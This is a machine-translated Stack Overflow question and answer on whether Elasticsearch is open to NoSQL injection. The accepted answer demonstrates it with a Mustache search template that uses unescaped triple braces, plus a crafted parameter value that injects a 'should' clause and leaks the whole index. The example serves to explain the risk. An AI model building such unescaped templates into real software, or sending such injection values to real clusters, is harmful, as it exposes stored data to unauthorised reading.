首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >使用Elasticsearch防止NoSQL注入

问使用Elasticsearch防止NoSQL注入
EN

Stack Overflow用户
提问于 2019-02-19 23:16:55
回答 1查看 8.5K关注 0票数 14

我在后端使用QueryBuilders构建了一个Elasticsearch查询。集群不会直接暴露在互联网上,只能通过后台访问。

我注意到我为它提供了非santized的用户输入,这让我想起了SQL注入。我知道如何防止SQL注入,但我不确定QueryBuilder是否可以转义输入?

我发现有一种叫做“搜索模板”的东西,它使用八字胡。他们可能会正确地避开内容吗?它们是预防此类问题的“方法”吗?

我甚至不确定有问题的用户输入会是什么样子。在使用QueryBuilder时,我不认为查询的HTTP METHOD可以更改。

也许脚本可能是个问题,但这是可以禁用的。

重申我的问题:代码注入是Elasticsearch的问题吗?如果是,缓解它们的最好方法是什么?

谢谢!:)

EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2019-02-20 13:21:19

你可以在ES中找到所有的previously detected security flaws,但是NoSQL注入从来不是其中之一...到目前为止。

但是,您可以找到讨论如何做到这一点的some literature。另外,一些other discussions and resources可能值得一读。

作为一个快速示例,在使用利用Mustache模板语言的搜索模板时,创建NoSQL注入攻击是绝对可能的。例如,假设我们有以下两个文档:

代码语言:javascript
复制
PUT attack/doc/1
{
  "field1": 2,
  "field2": 1
}
PUT attack/doc/2
{
  "field1": 2,
  "field2": 2
}

field1上的模板查询(错误地)使用了三个八字胡:

代码语言:javascript
复制
POST _scripts/attack
{
  "script": {
    "lang": "mustache",
    "source": """
{
  "query": {
    "bool": {
      "filter": [
        {
          "term": {
            "field1": {{{field}}}
          }
        },
        {
          "range": {
            "field2": {
              "gte": 2
            }
          }
        }
      ]
    }
  }
}
    """
  }
}

通过为field参数巧妙地选择一个值,我们可以泄漏整个索引:

代码语言:javascript
复制
POST attack/_search/template
{
  "id": "attack",
  "params": {
    "field": "2}}],\"should\":[{\"range\":{\"field2\":{\"lte\":2}"
  }
}

最后的查询将如下所示,即我们能够插入一个基本上泄漏整个索引的shoul子句:

代码语言:javascript
复制
  {
    "query" : {
      "bool" : {
        "filter" : [
          {
            "term" : {
              "field1" : 2
            }
          }
        ],
        "should" : [
          {
            "range" : {
              "field2" : {
                "lte" : 2
              }
            }
          },
          {
            "range" : {
              "field2" : {
                "gte" : 2
              }
            }
          }
        ]
      }
    }
  }
票数 15
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/54769528

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档